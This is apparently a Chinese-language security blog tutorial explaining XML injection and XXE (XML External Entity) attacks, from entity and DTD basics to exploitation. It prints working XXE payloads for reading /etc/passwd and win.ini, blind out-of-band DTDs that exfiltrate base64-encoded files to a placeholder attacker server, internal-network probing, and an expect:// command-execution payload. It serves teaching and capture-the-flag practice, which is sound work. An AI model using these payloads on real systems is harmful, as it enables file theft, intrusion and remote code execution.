对xml的亿点理解

Oyst3r 于 2023-10-09 发布

前言

又是熟悉的前言部分,其实很早就想写一篇关于 xml 漏洞相关的东西了,正好最近做到了一个关于 xml 漏洞的题目(就是我博客那篇名为[NCTF2019]True XML cookbook 的文章),那就今天写完它吧。

基础

1.首先要明确,我文章里面提到的 XXE 的前身其实不是那样的,它的前身其实是 XML 注入。先来了解一下什么是 XML。XML 是一种常用的标记语言,通过标签对数据进行结构化表示。它和 HTML 很像,但 XML 更多是用来传输和存储数据,而 HTML 则是用来显示数据。对于 html 咱们知道有很多注入,比如说 xss 等等,这些攻击就是在 html 这个角度做文章,同样的 xml 也是存在注入的。

注意!!!XML 不是 HTML 的替代

XML 和 HTML 为不同的目的而设计:

XML 被设计用来传输和存储数据,其焦点是数据的内容
HTML 被设计用来显示数据,其焦点是数据的外观
HTML 旨在显示信息,而 XML 旨在传输信息

2.上面说到这个 xml 被设计用来传输和存储数据,其实在今天的 web 应用程序中,xml 常用于从客户端向服务器提交数据,然后的话,服务器端应用程序将处理这些数据,并且可能会返回一个包含 xml 或这其他任何格式数据的响应(比如说那篇文章里面,就是先用 js 处理前端的数据,把数据变成 xml,然后发送给后端,后端又会返回给前端 xml 数据,然后 js 将 xml 解析为数据,显示到页面),这就不得不提到 ajax 了,下面是菜鸟上对 ajax 的解释,有精力也可以去菜鸟上简单学一下。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)
AJAX 不是新的编程语言,而是一种使用现有标准的新方法

AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容
AJAX 不需要任何浏览器插件,但需要用户允许 JavaScript 在浏览器上执行

XMLHttpRequest 只是实现 Ajax 的一种方式(就是用xml去传输数据)

3.然后看一下最原始的 xml 注入,其实就和 xss 差不多的样子,但漏洞类型完全不一样,毕竟刚刚也说了,html 和 xml 最初的设计理念就是大相径庭的,下面是一个简单的数据包。

final String GUESTROLE = "guest role";
// 用户输入数据被构造成XML格式
String userdata = "<USER role=" + GUESTROLE + "><name>" +
request.getParameter("name") + "</name><email>" +
request.getParameter("email") + "</email></USER>";
// 保存XML数据
userDao.save(userdata);

如果用户输入恶意数据:

user@example.com</email></USER><USER role="admin role"><name>hacker</name><email>admin@example.com

生成的 XML 文件可能变成这样:

<USER role="guest role">
    <name>user</name>
    <email>user@example.com</email>
</USER>
<USER role="admin role">
    <name>hacker</name>
    <email>admin@example.com</email>
</USER>

XML 注入,也需要满足注入攻击的两大条件:用户能控制数据的输入;程序拼凑了数据,你看这两点是不是和以前的的 sql,xss 都是类似的,所以安全就是永远不要相信用户的输入,这个想防御也很简单,弄个转义就差不多了。

4.有了上面的这些铺垫,脑袋里面也知道 xml 这个概念了,然后的话,在进阶部分就来看一下这个神秘的 xxe 漏洞

进阶

1.对于这一部分的内容(就是 xxe)要想去理解的话,先预备一点小知识,先从它的全称去看待一下这个 xxe,全称 XML External Entity 即外部实体,从安全角度理解成 XML External Entity attack 外部实体注入攻击,所以得先知道啥是个实体吧,接下来解释一下。

对于实体这个名词的话,明确一点,实体并不是 xml 的专利,不管在 html 或者是其他地方都会有实体这个概念,都是一个概念的东西,比如说 html 吧。

在 HTML 中,某些字符是预留的。 在 HTML 中不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。 如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。 字符实体类似这样:

&entity_name;
或者
&#entity_number;

如需显示小于号,必须这样写:< 或 <而这个 xml 的实体大概说的也就是这个意思。

2.那为什么一个实体会引发一个漏洞呢?是因为标准的 xml 解析库支持使用这种实体引用,这些引用仅仅是在 xml 文档内部或外部引用数据的一种方法,说白了就是去调用实体库,然后会完成对<之类的字符进行替换(这个操作在 DTD 中实现,这个 DTD 没啥特殊含义文档类型定义,DTD 就是用来为 XML 文档定义语义约束。可以嵌入在 XML 文档中(内部声明),也可以独立的放在一个文件中(外部引用)),本来是一个很方便的事,但一旦没有进行严格的防护的话,就会引发很大的安全问题,下面来举个例子:

上图所示就是一个常见的利用 payload。

1. 第一行就是申明,就是约定俗成的一种格式,这个不用太在意,但必须要有哈
2. 这个DTD部分,正常情况下可能就是下面这种情况
<!ENTITY  < "&lt" >]
但是黑客在利用的时候,就会写出和上面那个图片中所示的payload一样,这个是啥原因呢?为啥写上敏感文件就会在response中有回显呢,这是因为xml规范允许使用外部引用来定义实体,xml解释器将动态提取这些实体的值
3. 就是将foo标签里面的xxe替换成file:///etc/passwd

3.懂了这些的话,逐步去看一下上图所示的每一个部分

第一个部分是 XML 声明,知道有这个东西就好了,绝大部分用上面图片那个引用就行

第二个部分是 DTD 实体声明(重点学习):

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

Tips:一个实体由三部分构成:&符号,实体名称,分号(;),这里&不论在 GET 还是在 POST 中都需要进行 URL 编码,因为是使用参数传入 xml 的,&符号会被认为是参数间的连接符号

外部引用可支持 http,file 等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

示例:

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://远程服务器/evil.dtd">
<a>&b;</a>

DTD 文件内容:

<!ENTITY b SYSTEM "file://etc/passwd">

先做个简要的区分:

参数实体的话用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用

就相当于是嵌套了两层一样

其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用

而这个参数实体既能本地调用,又可以远程调用,详情如下

<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

下面来给一个远程的示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部 evil.dtd 中的内容

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

可能看到这里有点晕,简单的去做一个梳理:首先是一个参数实体,在%xxe 的时候,%xxe 会被替换成<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >,然后在下面&evil 的时候,&evil 就会被替换成”file:///c:/windows/win.ini”

<!ENTITY 实体名称 PUBLIC "public\_ID" "URI">

第三部分是实体的引用,我在上面的Tips以及提前说了注意事项了……

利用

1.有了上面这些基础知识的铺垫,看这一部分就会好很多,以后若忘记重新从头看一遍。

2.一般 xxe 利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到 Payload 的执行结果或现象,无回显的情况又称为 blind xxe,可以使用外带数据通道提取数据。

有回显的情况可以使用如下的两种方式进行 XXE 注入攻击。

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

然后是第二种

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部 evil.dtd 中的内容

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx.xxx,这个就是得有一个在公网的 ip 地址就行

<!DOCTYPE updateProfile [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
  <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd 的内容,内部的%号要进行实体编码成&#x25

<!ENTITY % all
 "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
 >
%all;

Tips:这里我啰嗦一嘴,为什么非要在%all 里面再套一个%send 呢?套一次还得把%给转义成%肯定是有原因的。现在看这个 payload 的调用顺序:%dtd–>%all–>%file–>%send,但如果 evil.dtd 的内容是下面这样呢

<!ENTITY % all SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>

现在的调用顺序将变成:%dtd–>%all–>直接发送,vps 上面只会啥数据都没有,说白了就是为%file 缓冲一个执行时间

同时的话,也可以这样,就是不访问外部 dtd 的方法,但还是建议上面那种

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % file SYSTEM "file:///etc/passwd">
	<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
	%start;
	%send;
]>
<message>10</message>

有报错直接查看报错信息

无报错需要访问接受数据的服务器中的日志信息,可以看到经过 base64 编码过的数据,解码后便可以得到数据

解码如下

当然能不能不去用参数实体直接完成盲 xxe 注入,通过更直接的方式使用外部实体来实现盲注,也给出一个例子如下,但实测没有 success

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY xxe SYSTEM "file:///etc/passwd">
	<!ENTITY exfil SYSTEM "http://myip/?data=&xxe;">
]>
<message>&exfil;</message>

额外知识

除了上面所提到的姿势,xxe 还可以去做内网探测、读文件等,只不过把 URI 改成内网机器地址

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

如果机器的伪协议可以用 expect 的话,就可以 rce 了,这个漏洞的危害就大大提升了

这种情况很少发生,但有些情况下攻击者能够通过 XXE 执行代码,这主要是由于配置不当/开发内部应用导致的;如果我们足够幸运,并且 PHP expect 模块被加载到了易受攻击的系统或处理 XML 的内部应用程序上,那么我们就可以执行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

从 0 开始刨析的原理、常见的利用姿势到这里就说完了……